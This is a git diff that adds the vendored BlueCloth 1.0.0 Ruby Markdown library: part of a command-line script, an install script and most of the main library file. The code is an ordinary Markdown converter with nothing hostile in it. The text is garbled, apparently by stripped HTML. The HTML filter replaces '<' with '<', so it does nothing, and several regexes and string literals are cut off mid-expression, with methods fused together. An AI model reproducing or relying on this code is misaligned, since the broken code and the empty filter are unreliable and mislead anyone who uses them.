      +
      +	ARGV.each {|file|
      +		if file == '-'
      +			contents = $stdin.readlines(nil)
      +		else
      +			contents = File::readlines( file, nil )
      +		end
      +
      +		bc = BlueCloth::new( contents.join )
      +
      +		if fragment
      +			$stdout.puts bc.to_html
      +		else
      +			$stdout.puts DocumentWrapper % [ file, bc.to_html ]
      +		end
      +	}
      +
      +rescue => err
      +	$stderr.puts "Aborting: Fatal error: %s" % err.message
      +	exit 255
      +end
      +
      +
      +
      +main
      +
      diff --git a/vendor/bluecloth-1.0.0/install.rb b/vendor/bluecloth-1.0.0/install.rb
      new file mode 100755
      index 00000000..d8708eb6
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/install.rb
      @@ -0,0 +1,150 @@
      +#!/usr/bin/ruby
      +#
      +#	BlueCloth Module Install Script
      +#	$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +#
      +#	Thanks to Masatoshi SEKI for ideas found in his install.rb.
      +#
      +#	Copyright (c) 2001-2004 The FaerieMUD Consortium.
      +#
      +#	This is free software. You may use, modify, and/or redistribute this
      +#	software under the terms of the Perl Artistic License. (See
      +#	http://language.perl.com/misc/Artistic.html)
      +#
      +
      +require './utils.rb'
      +include UtilityFunctions
      +
      +require 'rbconfig'
      +include Config
      +
      +require 'find'
      +require 'ftools'
      +
      +
      +$version	= %q$Revision: 1.1 $
      +$rcsId		= %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +
      +# Define required libraries
      +RequiredLibraries = [
      +	# libraryname, nice name, RAA URL, Download URL
      +	[ 'strscan', "StrScan", 
      +		'http://raa.ruby-lang.org/list.rhtml?name=strscan',
      +		'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
      +	[ 'logger', "Devel-Logger", 
      +		'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
      +		'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
      +]
      +
      +class Installer
      +
      +	@@PrunePatterns = [
      +		/CVS/,
      +		/~$/,
      +		%r:(^|/)\.:,
      +		/\.tpl$/,
      +	]
      +
      +	def initialize( testing=false )
      +		@ftools = (testing) ? self : File
      +	end
      +
      +	### Make the specified dirs (which can be a String or an Array of Strings)
      +	### with the specified mode.
      +	def makedirs( dirs, mode=0755, verbose=false )
      +		dirs = [ dirs ] unless dirs.is_a? Array
      +
      +		oldumask = File::umask
      +		File::umask( 0777 - mode )
      +
      +		for dir in dirs
      +			if @ftools == File
      +				File::mkpath( dir, $verbose )
      +			else
      +				$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
      +			end
      +		end
      +
      +		File::umask( oldumask )
      +	end
      +
      +	def install( srcfile, dstfile, mode=nil, verbose=false )
      +		dstfile = File.catname(srcfile, dstfile)
      +		unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
      +			$stderr.puts "   install #{srcfile} -> #{dstfile}"
      +		else
      +			$stderr.puts "   skipping #{dstfile}: unchanged"
      +		end
      +	end
      +
      +	public
      +
      +	def installFiles( src, dstDir, mode=0444, verbose=false )
      +		directories = []
      +		files = []
      +		
      +		if File.directory?( src )
      +			Find.find( src ) {|f|
      +				Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
      +				next if f == src
      +
      +				if FileTest.directory?( f )
      +					directories << f.gsub( /^#{src}#{File::Separator}/, '' )
      +					next 
      +
      +				elsif FileTest.file?( f )
      +					files << f.gsub( /^#{src}#{File::Separator}/, '' )
      +
      +				else
      +					Find.prune
      +				end
      +			}
      +		else
      +			files << File.basename( src )
      +			src = File.dirname( src )
      +		end
      +		
      +		dirs = [ dstDir ]
      +		dirs |= directories.collect {|d| File.join(dstDir,d)}
      +		makedirs( dirs, 0755, verbose )
      +		files.each {|f|
      +			srcfile = File.join(src,f)
      +			dstfile = File.dirname(File.join( dstDir,f ))
      +
      +			if verbose
      +				if mode
      +					$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
      +				else
      +					$stderr.puts "Install #{srcfile} -> #{dstfile}"
      +				end
      +			end
      +
      +			@ftools.install( srcfile, dstfile, mode, verbose )
      +		}
      +	end
      +
      +end
      +
      +if $0 == __FILE__
      +	header "BlueCloth Installer #$version"
      +
      +	for lib in RequiredLibraries
      +		testForRequiredLibrary( *lib )
      +	end
      +
      +	viewOnly = ARGV.include? '-n'
      +	verbose = ARGV.include? '-v'
      +
      +	debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
      +	sitelibdir = CONFIG['sitelibdir']
      +	debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
      +	sitearchdir = CONFIG['sitearchdir']
      +
      +	message "Installing\n"
      +	i = Installer.new( viewOnly )
      +	i.installFiles( "lib", sitelibdir, 0444, verbose )
      +end
      +	
      +
      +
      +
      diff --git a/vendor/bluecloth-1.0.0/lib/bluecloth.rb b/vendor/bluecloth-1.0.0/lib/bluecloth.rb
      new file mode 100755
      index 00000000..4aa44d25
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/lib/bluecloth.rb
      @@ -0,0 +1,1144 @@
      +#!/usr/bin/ruby
      +# 
      +# Bluecloth is a Ruby implementation of Markdown, a text-to-HTML conversion
      +# tool.
      +# 
      +# == Synopsis
      +# 
      +#   doc = BlueCloth::new "
      +#     ## Test document ##
      +#
      +#     Just a simple test.
      +#   "
      +#
      +#   puts doc.to_html
      +# 
      +# == Authors
      +# 
      +# * Michael Granger 
      +# 
      +# == Contributors
      +#
      +# * Martin Chase  - Peer review, helpful suggestions
      +# * Florian Gross  - Filter options, suggestions
      +#
      +# == Copyright
      +#
      +# Original version:
      +#   Copyright (c) 2003-2004 John Gruber
      +#     
      +#   All rights reserved.
      +#
      +# Ruby port:
      +#   Copyright (c) 2004 The FaerieMUD Consortium.
      +# 
      +# BlueCloth is free software; you can redistribute it and/or modify it under the
      +# terms of the GNU General Public License as published by the Free Software
      +# Foundation; either version 2 of the License, or (at your option) any later
      +# version.
      +# 
      +# BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
      +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
      +# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
      +# 
      +# == To-do
      +#
      +# * Refactor some of the larger uglier methods that have to do their own
      +#   brute-force scanning because of lack of Perl features in Ruby's Regexp
      +#   class. Alternately, could add a dependency on 'pcre' and use most Perl
      +#   regexps.
      +#
      +# * Put the StringScanner in the render state for thread-safety.
      +#
      +# == Version
      +#
      +#  $Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +# 
      +
      +require 'digest/md5'
      +require 'logger'
      +require 'strscan'
      +
      +
      +### BlueCloth is a Ruby implementation of Markdown, a text-to-HTML conversion
      +### tool.
      +class BlueCloth < String
      +
      +	### Exception class for formatting errors.
      +	class FormatError < RuntimeError
      +
      +		### Create a new FormatError with the given source +str+ and an optional
      +		### message about the +specific+ error.
      +		def initialize( str, specific=nil )
      +			if specific
      +				msg = "Bad markdown format near %p: %s" % [ str, specific ]
      +			else
      +				msg = "Bad markdown format near %p" % str
      +			end
      +
      +			super( msg )
      +		end
      +	end
      +
      +
      +	# Release Version
      +	Version = '0.0.3'
      +
      +	# SVN Revision
      +	SvnRev = %q$Rev: 69 $
      +
      +	# SVN Id tag
      +	SvnId = %q$Id: bluecloth.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
      +
      +	# SVN URL
      +	SvnUrl = %q$URL: svn+ssh://svn.faeriemud.org/usr/local/svn/BlueCloth/trunk/lib/bluecloth.rb $
      +
      +
      +	# Rendering state struct. Keeps track of URLs, titles, and HTML blocks
      +	# midway through a render. I prefer this to the globals of the Perl version
      +	# because globals make me break out in hives. Or something.
      +	RenderState = Struct::new( "RenderState", :urls, :titles, :html_blocks, :log )
      +
      +	# Tab width for #detab! if none is specified
      +	TabWidth = 4
      +
      +	# The tag-closing string -- set to '>' for HTML
      +	EmptyElementSuffix = "/>";
      +
      +	# Table of MD5 sums for escaped characters
      +	EscapeTable = {}
      +	'\\`*_{}[]()#.!'.split(//).each {|char|
      +		hash = Digest::MD5::hexdigest( char )
      +
      +		EscapeTable[ char ] = {
      + 			:md5 => hash,
      +			:md5re => Regexp::new( hash ),
      +			:re  => Regexp::new( '\\\\' + Regexp::escape(char) ),
      +		}
      +	}
      +
      +
      +	#################################################################
      +	###	I N S T A N C E   M E T H O D S
      +	#################################################################
      +
      +	### Create a new BlueCloth string.
      +	def initialize( content="", *restrictions )
      +		@log = Logger::new( $deferr )
      +		@log.level = $DEBUG ?
      +			Logger::DEBUG :
      +			($VERBOSE ? Logger::INFO : Logger::WARN)
      +		@scanner = nil
      +
      +		# Add any restrictions, and set the line-folding attribute to reflect
      +		# what happens by default.
      +		@filter_html = nil
      +		@filter_styles = nil
      +		restrictions.flatten.each {|r| __send__("#{r}=", true) }
      +		@fold_lines = true
      +
      +		super( content )
      +
      +		@log.debug "String is: %p" % self
      +	end
      +
      +
      +	######
      +	public
      +	######
      +
      +	# Filters for controlling what gets output for untrusted input. (But really,
      +	# you're filtering bad stuff out of untrusted input at submission-time via
      +	# untainting, aren't you?)
      +	attr_accessor :filter_html, :filter_styles
      +
      +	# RedCloth-compatibility accessor. Line-folding is part of Markdown syntax,
      +	# so this isn't used by anything.
      +	attr_accessor :fold_lines
      +
      +
      +	### Render Markdown-formatted text in this string object as HTML and return
      +	### it. The parameter is for compatibility with RedCloth, and is currently
      +	### unused, though that may change in the future.
      +	def to_html( lite=false )
      +
      +		# Create a StringScanner we can reuse for various lexing tasks
      +		@scanner = StringScanner::new( '' )
      +
      +		# Make a structure to carry around stuff that gets placeholdered out of
      +		# the source.
      +		rs = RenderState::new( {}, {}, {} )
      +
      +		# Make a copy of the string with normalized line endings, tabs turned to
      +		# spaces, and a couple of guaranteed newlines at the end
      +		text = self.gsub( /\r\n?/, "\n" ).detab
      +		text += "\n\n"
      +		@log.debug "Normalized line-endings: %p" % text
      +
      +		# Filter HTML if we're asked to do so
      +		if self.filter_html
      +			text.gsub!( "<", "<" )
      +			text.gsub!( ">", ">" )
      +			@log.debug "Filtered HTML: %p" % text
      +		end
      +
      +		# Simplify blank lines
      +		text.gsub!( /^ +$/, '' )
      +		@log.debug "Tabs -> spaces/blank lines stripped: %p" % text
      +
      +		# Replace HTML blocks with placeholders
      +		text = hide_html_blocks( text, rs )
      +		@log.debug "Hid HTML blocks: %p" % text
      +		@log.debug "Render state: %p" % rs
      +
      +		# Strip link definitions, store in render state
      +		text = strip_link_definitions( text, rs )
      +		@log.debug "Stripped link definitions: %p" % text
      +		@log.debug "Render state: %p" % rs
      +
      +		# Escape meta-characters
      +		text = escape_special_chars( text )
      +		@log.debug "Escaped special characters: %p" % text
      +
      +		# Transform block-level constructs
      +		text = apply_block_transforms( text, rs )
      +		@log.debug "After block-level transforms: %p" % text
      +
      +		# Now swap back in all the escaped characters
      +		text = unescape_special_chars( text )
      +		@log.debug "After unescaping special characters: %p" % text
      +
      +		return text
      +	end
      +	
      +
      +	### Convert tabs in +str+ to spaces.
      +	def detab( tabwidth=TabWidth )
      +		copy = self.dup
      +		copy.detab!( tabwidth )
      +		return copy
      +	end
      +
      +
      +	### Convert tabs to spaces in place and return self if any were converted.
      +	def detab!( tabwidth=TabWidth )
      +		newstr = self.split( /\n/ ).collect {|line|
      +			line.gsub( /(.*?)\t/ ) do
      +				$1 + ' ' * (tabwidth - $1.length % tabwidth)
      +			end
      +		}.join("\n")
      +		self.replace( newstr )
      +	end
      +
      +
      +	#######
      +	#private
      +	#######
      +
      +	### Do block-level transforms on a copy of +str+ using the specified render
      +	### state +rs+ and return the results.
      +	def apply_block_transforms( str, rs )
      +		# Port: This was called '_runBlockGamut' in the original
      +
      +		@log.debug "Applying block transforms to:\n  %p" % str
      +		text = transform_headers( str, rs )
      +		text = transform_hrules( text, rs )
      +		text = transform_lists( text, rs )
      +		text = transform_code_blocks( text, rs )
      +		text = transform_block_quotes( text, rs )
      +		text = transform_auto_links( text, rs )
      +		text = hide_html_blocks( text, rs )
      +
      +		text = form_paragraphs( text, rs )
      +
      +		@log.debug "Done with block transforms:\n  %p" % text
      +		return text
      +	end
      +
      +
      +	### Apply Markdown span transforms to a copy of the specified +str+ with the
      +	### given render state +rs+ and return it.
      +	def apply_span_transforms( str, rs )
      +		@log.debug "Applying span transforms to:\n  %p" % str
      +
      +		str = transform_code_spans( str, rs )
      +		str = encode_html( str )
      +		str = transform_images( str, rs )
      +		str = transform_anchors( str, rs )
      +		str = transform_italic_and_bold( str, rs )
      +
      +		# Hard breaks
      +		str.gsub!( / {2,}\n/, "
      +	# 		
      + # tags for inner block must be indented. + #
      + #
+ StrictBlockRegex = %r{ + ^ # Start of line + <(#{StrictTagPattern}) # Start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + # Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # More-liberal block-matching + LooseBlockRegex = %r{ + ^ # Start of line + <(#{LooseTagPattern}) # start tag: \2 + \b # word break + (.*\n)*? # Any number of lines, minimal match + .* # Anything + Matching end tag + [ ]* # trailing spaces + $ # End of line or document + }ix + + # Special case for
. + HruleBlockRegex = %r{ + ( # $1 + \A\n? # Start of doc + optional \n + | # or + .*\n\n # anything + blank line + ) + ( # save in $2 + [ ]* # Any spaces +
])*? # Attributes + /?> # Tag close + $ # followed by a blank line or end of document + ) + }ix + + ### Replace all blocks of HTML in +str+ that start in the left margin with + ### tokens. + def hide_html_blocks( str, rs ) + @log.debug "Hiding HTML blocks in %p" % str + + # Tokenizer proc to pass to gsub + tokenize = lambda {|match| + key = Digest::MD5::hexdigest( match ) + rs.html_blocks[ key ] = match + @log.debug "Replacing %p with %p" % [ match, key ] + "\n\n#{key}\n\n" + } + + rval = str.dup + + @log.debug "Finding blocks with the strict regex..." + rval.gsub!( StrictBlockRegex, &tokenize ) + + @log.debug "Finding blocks with the loose regex..." + rval.gsub!( LooseBlockRegex, &tokenize ) + + @log.debug "Finding hrules..." + rval.gsub!( HruleBlockRegex ) {|match| $1 + tokenize[$2] } + + return rval + end + + + # Link defs are in the form: ^[id]: url "optional title" + LinkRegex = %r{ + ^[ ]*\[(.+)\]: # id = $1 + [ ]* + \n? # maybe *one* newline + [ ]* + ? # url = $2 + [ ]* + \n? # maybe one newline + [ ]* + (?: + # Titles are delimited by "quotes" or (parens). + ["(] + (.+?) # title = $3 + [")] # Matching ) or " + [ ]* + )? # title is optional + (?:\n+|\Z) + }x + + ### Strip link definitions from +str+, storing them in the given RenderState + ### +rs+. + def strip_link_definitions( str, rs ) + str.gsub( LinkRegex ) {|match| + id, url, title = $1, $2, $3 + + rs.urls[ id.downcase ] = encode_html( url ) + unless title.nil? + rs.titles[ id.downcase ] = title.gsub( /"/, """ ) + end + "" + } + end + + + ### Escape special characters in the given +str+ + def escape_special_chars( str ) + @log.debug " Escaping special characters" + text = '' + + # The original Markdown source has something called '$tags_to_skip' + # declared here, but it's never used, so I don't define it. + + tokenize_html( str ) {|token, str| + @log.debug " Adding %p token %p" % [ token, str ] + case token + + # Within tags, encode * and _ + when :tag + text += str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + + # Encode backslashed stuff in regular text + when :text + text += encode_backslash_escapes( str ) + else + raise TypeError, "Unknown token type %p" % token + end + } + + @log.debug " Text with escapes is now: %p" % text + return text + end + + + ### Swap escaped special characters in a copy of the given +str+ and return + ### it. + def unescape_special_chars( str ) + EscapeTable.each {|char, hash| + @log.debug "Unescaping escaped %p with %p" % [ char, hash[:md5re] ] + str.gsub!( hash[:md5re], char ) + } + + return str + end + + + ### Return a copy of the given +str+ with any backslashed special character + ### in it replaced with MD5 placeholders. + def encode_backslash_escapes( str ) + # Make a copy with any double-escaped backslashes encoded + text = str.gsub( /\\\\/, EscapeTable['\\'][:md5] ) + + EscapeTable.each_pair {|char, esc| + next if char == '\\' + text.gsub!( esc[:re], esc[:md5] ) + } + + return text + end + + + ### Transform any Markdown-style horizontal rules in a copy of the specified + ### +str+ and return it. + def transform_hrules( str, rs ) + @log.debug " Transforming horizontal rules" + str.gsub( /^( ?[\-\*_] ?){3,}$/, "\n\n%s\n} % [ + list_type, + transform_list_items( list, rs ), + list_type, + ] + } + end + + + # Pattern for transforming list items + ListItemRegexp = %r{ + (\n)? # leading line = $1 + (^[ ]*) # leading whitespace = $2 + (#{ListMarkerAny}) [ ]+ # list marker = $3 + ((?m:.+?) # list item text = $4 + (\n{1,2})) + (?= \n* (\z | \2 (#{ListMarkerAny}) [ ]+)) + }x + + ### Transform list items in a copy of the given +str+ and return it. + def transform_list_items( str, rs ) + @log.debug " Transforming list items" + + # Trim trailing blank lines + str = str.sub( /\n{2,}\z/, "\n" ) + + str.gsub( ListItemRegexp ) {|line| + @log.debug " Found item line %p" % line + leading_line, item = $1, $4 + + if leading_line or /\n{2,}/.match( item ) + @log.debug " Found leading line or item has a blank" + item = apply_block_transforms( outdent(item), rs ) + else + # Recursion for sub-lists + @log.debug " Recursing for sublist" + item = transform_lists( outdent(item), rs ).chomp + item = apply_span_transforms( item, rs ) + end + + %{
  • %s
  • \n} % item + } + end + + + # Pattern for matching codeblocks + CodeBlockRegexp = %r{ + (?:\n\n|\A) + ( # $1 = the code block + (?: + (?:[ ]{#{TabWidth}} | \t) # a tab or tab-width of spaces + .*\n+ + )+ + ) + (^[ ]{0,#{TabWidth - 1}}\S|\Z) # Lookahead for non-space at + # line-start, or end of doc + }x + + ### Transform Markdown-style codeblocks in a copy of the specified +str+ and + ### return it. + def transform_code_blocks( str, rs ) + @log.debug " Transforming code blocks" + + str.gsub( CodeBlockRegexp ) {|block| + codeblock = $1 + remainder = $2 + + # Generate the codeblock + %{\n\n
    %s\n
    \n\n%s} % + [ encode_code( outdent(codeblock), rs ).rstrip, remainder ] + } + end + + + # Pattern for matching Markdown blockquote blocks + BlockQuoteRegexp = %r{ + (?: + ^[ ]*>[ ]? # '>' at the start of a line + .+\n # rest of the first line + (?:.+\n)* # subsequent consecutive lines + \n* # blanks + )+ + }x + PreChunk = %r{ ( ^ \s*
     .+? 
    ) }xm + + ### Transform Markdown-style blockquotes in a copy of the specified +str+ + ### and return it. + def transform_block_quotes( str, rs ) + @log.debug " Transforming block quotes" + + str.gsub( BlockQuoteRegexp ) {|quote| + @log.debug "Making blockquote from %p" % quote + + quote.gsub!( /^ *> ?/, '' ) # Trim one level of quoting + quote.gsub!( /^ +$/, '' ) # Trim whitespace-only lines + + indent = " " * TabWidth + quoted = %{
    \n%s\n
    \n\n} % + apply_block_transforms( quote, rs ). + gsub( /^/, indent ). + gsub( PreChunk ) {|m| m.gsub(/^#{indent}/o, '') } + @log.debug "Blockquoted chunk is: %p" % quoted + quoted + } + end + + + AutoAnchorURLRegexp = /<((https?|ftp):[^'">\s]+)>/ + AutoAnchorEmailRegexp = %r{ + < + ( + [-.\w]+ + \@ + [-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+ + ) + > + }xi + + ### Transform URLs in a copy of the specified +str+ into links and return + ### it. + def transform_auto_links( str, rs ) + @log.debug " Transforming auto-links" + str.gsub( AutoAnchorURLRegexp, %{\\1}). + gsub( AutoAnchorEmailRegexp ) {|addr| + encode_email_address( unescape_special_chars($1) ) + } + end + + + # Encoder functions to turn characters of an email address into encoded + # entities. + Encoders = [ + lambda {|char| "&#%03d;" % char}, + lambda {|char| "&#x%X;" % char}, + lambda {|char| char.chr }, + ] + + ### Transform a copy of the given email +addr+ into an escaped version safer + ### for posting publicly. + def encode_email_address( addr ) + + rval = '' + ("mailto:" + addr).each_byte {|b| + case b + when ?: + rval += ":" + when ?@ + rval += Encoders[ rand(2) ][ b ] + else + r = rand(100) + rval += ( + r > 90 ? Encoders[2][ b ] : + r < 45 ? Encoders[1][ b ] : + Encoders[0][ b ] + ) + end + } + + return %{%s} % [ rval, rval.sub(/.+?:/, '') ] + end + + + # Regex for matching Setext-style headers + SetextHeaderRegexp = %r{ + (.+) # The title text ($1) + \n + ([\-=])+ # Match a line of = or -. Save only one in $2. + [ ]*\n+ + }x + + # Regexp for matching ATX-style headers + AtxHeaderRegexp = %r{ + ^(\#{1,6}) # $1 = string of #'s + [ ]* + (.+?) # $2 = Header text + [ ]* + \#* # optional closing #'s (not counted) + \n+ + }x + + ### Apply Markdown header transforms to a copy of the given +str+ amd render + ### state +rs+ and return the result. + def transform_headers( str, rs ) + @log.debug " Transforming headers" + + # Setext-style headers: + # Header 1 + # ======== + # + # Header 2 + # -------- + # + str. + gsub( SetextHeaderRegexp ) {|m| + @log.debug "Found setext-style header" + title, hdrchar = $1, $2 + title = apply_span_transforms( title, rs ) + + case hdrchar + when '=' + %[

    #{title}

    \n\n] + when '-' + %[

    #{title}

    \n\n] + else + title + end + }. + + gsub( AtxHeaderRegexp ) {|m| + @log.debug "Found ATX-style header" + hdrchars, title = $1, $2 + title = apply_span_transforms( title, rs ) + + level = hdrchars.length + %{%s\n\n} % [ level, title, level ] + } + end + + + ### Wrap all remaining paragraph-looking text in a copy of +str+ inside

    + ### tags and return it. + def form_paragraphs( str, rs ) + @log.debug " Forming paragraphs" + grafs = str. + sub( /\A\n+/, '' ). + sub( /\n+\z/, '' ). + split( /\n{2,}/ ) + + rval = grafs.collect {|graf| + + # Unhashify HTML blocks if this is a placeholder + if rs.html_blocks.key?( graf ) + rs.html_blocks[ graf ] + + # Otherwise, wrap in

    tags + else + apply_span_transforms(graf, rs). + sub( /^[ ]*/, '

    ' ) + '

    ' + end + }.join( "\n\n" ) + + @log.debug " Formed paragraphs: %p" % rval + return rval + end + + + # Pattern to match the linkid part of an anchor tag for reference-style + # links. + RefLinkIdRegex = %r{ + [ ]? # Optional leading space + (?:\n[ ]*)? # Optional newline + spaces + \[ + (.*?) # Id = $1 + \] + }x + + InlineLinkRegex = %r{ + \( # Literal paren + [ ]* # Zero or more spaces + ? # URI = $1 + [ ]* # Zero or more spaces + (?: # + ([\"\']) # Opening quote char = $2 + (.*?) # Title = $3 + \2 # Matching quote char + )? # Title is optional + \) + }x + + ### Apply Markdown anchor transforms to a copy of the specified +str+ with + ### the given render state +rs+ and return it. + def transform_anchors( str, rs ) + @log.debug " Transforming anchors" + @scanner.string = str.dup + text = '' + + # Scan the whole string + until @scanner.empty? + + if @scanner.scan( /\[/ ) + link = ''; linkid = '' + depth = 1 + startpos = @scanner.pos + @log.debug " Found a bracket-open at %d" % startpos + + # Scan the rest of the tag, allowing unlimited nested []s. If + # the scanner runs out of text before the opening bracket is + # closed, append the text and return (wasn't a valid anchor). + while depth.nonzero? + linktext = @scanner.scan_until( /\]|\[/ ) + + if linktext + @log.debug " Found a bracket at depth %d: %p" % [ depth, linktext ] + link += linktext + + # Decrement depth for each closing bracket + depth += ( linktext[-1, 1] == ']' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + + # If there's no more brackets, it must not be an anchor, so + # just abort. + else + @log.debug " Missing closing brace, assuming non-link." + link += @scanner.rest + @scanner.terminate + return text + '[' + link + end + end + link.slice!( -1 ) # Trim final ']' + @log.debug " Found leading link %p" % link + + # Look for a reference-style second part + if @scanner.scan( RefLinkIdRegex ) + linkid = @scanner[1] + linkid = link.dup if linkid.empty? + linkid.downcase! + @log.debug " Found a linkid: %p" % linkid + + # If there's a matching link in the link table, build an + # anchor tag for it. + if rs.urls.key?( linkid ) + @log.debug " Found link key in the link table: %p" % rs.urls[linkid] + url = escape_md( rs.urls[linkid] ) + + text += %{#{link}} + + # If the link referred to doesn't exist, just append the raw + # source to the result + else + @log.debug " Linkid %p not found in link table" % linkid + @log.debug " Appending original string instead: " + @log.debug "%p" % @scanner.string[ startpos-1 .. @scanner.pos-1 ] + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end + + # ...or for an inline style second part + elsif @scanner.scan( InlineLinkRegex ) + url = @scanner[1] + title = @scanner[3] + @log.debug " Found an inline link to %p" % url + + text += %{#{link}} + + # No linkid part: just append the first part as-is. + else + @log.debug "No linkid, so no anchor. Appending literal text." + text += @scanner.string[ startpos-1 .. @scanner.pos-1 ] + end # if linkid + + # Plain text + else + @log.debug " Scanning to the next link from %p" % @scanner.rest + text += @scanner.scan( /[^\[]+/ ) + end + + end # until @scanner.empty? + + return text + end + + + # Pattern to match strong emphasis in Markdown text + BoldRegexp = %r{ (\*\*|__) (\S|\S.+?\S) \1 }x + + # Pattern to match normal emphasis in Markdown text + ItalicRegexp = %r{ (\*|_) (\S|\S.+?\S) \1 }x + + ### Transform italic- and bold-encoded text in a copy of the specified +str+ + ### and return it. + def transform_italic_and_bold( str, rs ) + @log.debug " Transforming italic and bold" + + str. + gsub( BoldRegexp, %{\\2} ). + gsub( ItalicRegexp, %{\\2} ) + end + + + ### Transform backticked spans into spans. + def transform_code_spans( str, rs ) + @log.debug " Transforming code spans" + + # Set up the string scanner and just return the string unless there's at + # least one backtick. + @scanner.string = str.dup + unless @scanner.exist?( /`/ ) + @scanner.terminate + @log.debug "No backticks found for code span in %p" % str + return str + end + + @log.debug "Transforming code spans in %p" % str + + # Build the transformed text anew + text = '' + + # Scan to the end of the string + until @scanner.empty? + + # Scan up to an opening backtick + if pre = @scanner.scan_until( /.?(?=`)/m ) + text += pre + @log.debug "Found backtick at %d after '...%s'" % [ @scanner.pos, text[-10, 10] ] + + # Make a pattern to find the end of the span + opener = @scanner.scan( /`+/ ) + len = opener.length + closer = Regexp::new( opener ) + @log.debug "Scanning for end of code span with %p" % closer + + # Scan until the end of the closing backtick sequence. Chop the + # backticks off the resultant string, strip leading and trailing + # whitespace, and encode any enitites contained in it. + codespan = @scanner.scan_until( closer ) or + raise FormatError::new( @scanner.rest[0,20], + "No %p found before end" % opener ) + + @log.debug "Found close of code span at %d: %p" % [ @scanner.pos - len, codespan ] + codespan.slice!( -len, len ) + text += "%s" % + encode_code( codespan.strip, rs ) + + # If there's no more backticks, just append the rest of the string + # and move the scan pointer to the end + else + text += @scanner.rest + @scanner.terminate + end + end + + return text + end + + + # Next, handle inline images: ![alt text](url "optional title") + # Don't forget: encode * and _ + InlineImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # alt text = $2 + \([ ]* + ? # source url = $3 + [ ]* + (?: # + (["']) # quote char = $4 + (.*?) # title = $5 + \4 # matching quote + [ ]* + )? # title is optional + \) + ) + }xs #" + + + # Reference-style images + ReferenceImageRegexp = %r{ + ( # Whole match = $1 + !\[ (.*?) \] # Alt text = $2 + [ ]? # Optional space + (?:\n[ ]*)? # One optional newline + spaces + \[ (.*?) \] # id = $3 + ) + }xs + + ### Turn image markup into image tags. + def transform_images( str, rs ) + @log.debug " Transforming images" % str + + # Handle reference-style labeled images: ![alt text][id] + str. + gsub( ReferenceImageRegexp ) {|match| + whole, alt, linkid = $1, $2, $3.downcase + @log.debug "Matched %p" % match + res = nil + alt.gsub!( /"/, '"' ) + + # for shortcut links like ![this][]. + linkid = alt.downcase if linkid.empty? + + if rs.urls.key?( linkid ) + url = escape_md( rs.urls[linkid] ) + @log.debug "Found url '%s' for linkid '%s' " % [ url, linkid ] + + # Build the tag + result = %{%s}, '>' ). + gsub( CodeEscapeRegexp ) {|match| EscapeTable[match][:md5]} + end + + + + ################################################################# + ### U T I L I T Y F U N C T I O N S + ################################################################# + + ### Escape any markdown characters in a copy of the given +str+ and return + ### it. + def escape_md( str ) + str. + gsub( /\*/, EscapeTable['*'][:md5] ). + gsub( /_/, EscapeTable['_'][:md5] ) + end + + + # Matching constructs for tokenizing X/HTML + HTMLCommentRegexp = %r{ }mx + XMLProcInstRegexp = %r{ <\? .*? \?> }mx + MetaTag = Regexp::union( HTMLCommentRegexp, XMLProcInstRegexp ) + + HTMLTagOpenRegexp = %r{ < [a-z/!$] [^<>]* }imx + HTMLTagCloseRegexp = %r{ > }x + HTMLTagPart = Regexp::union( HTMLTagOpenRegexp, HTMLTagCloseRegexp ) + + ### Break the HTML source in +str+ into a series of tokens and return + ### them. The tokens are just 2-element Array tuples with a type and the + ### actual content. If this function is called with a block, the type and + ### text parts of each token will be yielded to it one at a time as they are + ### extracted. + def tokenize_html( str ) + depth = 0 + tokens = [] + @scanner.string = str.dup + type, token = nil, nil + + until @scanner.empty? + @log.debug "Scanning from %p" % @scanner.rest + + # Match comments and PIs without nesting + if (( token = @scanner.scan(MetaTag) )) + type = :tag + + # Do nested matching for HTML tags + elsif (( token = @scanner.scan(HTMLTagOpenRegexp) )) + tagstart = @scanner.pos + @log.debug " Found the start of a plain tag at %d" % tagstart + + # Start the token with the opening angle + depth = 1 + type = :tag + + # Scan the rest of the tag, allowing unlimited nested <>s. If + # the scanner runs out of text before the tag is closed, raise + # an error. + while depth.nonzero? + + # Scan either an opener or a closer + chunk = @scanner.scan( HTMLTagPart ) or + raise "Malformed tag at character %d: %p" % + [ tagstart, token + @scanner.rest ] + + @log.debug " Found another part of the tag at depth %d: %p" % [ depth, chunk ] + + token += chunk + + # If the last character of the token so far is a closing + # angle bracket, decrement the depth. Otherwise increment + # it for a nested tag. + depth += ( token[-1, 1] == '>' ? -1 : 1 ) + @log.debug " Depth is now #{depth}" + end + + # Match text segments + else + @log.debug " Looking for a chunk of text" + type = :text + + # Scan forward, always matching at least one character to move + # the pointer beyond any non-tag '<'. + token = @scanner.scan_until( /[^<]+/m ) + end + + @log.debug " type: %p, token: %p" % [ type, token ] + + # If a block is given, feed it one token at a time. Add the token to + # the token list to be returned regardless. + if block_given? + yield( type, token ) + end + tokens << [ type, token ] + end + + return tokens + end + + + ### Return a copy of +str+ with angle brackets and ampersands HTML-encoded. + def encode_html( str ) + str.gsub( /&(?!#?[x]?(?:[0-9a-f]+|\w+);)/i, "&" ). + gsub( 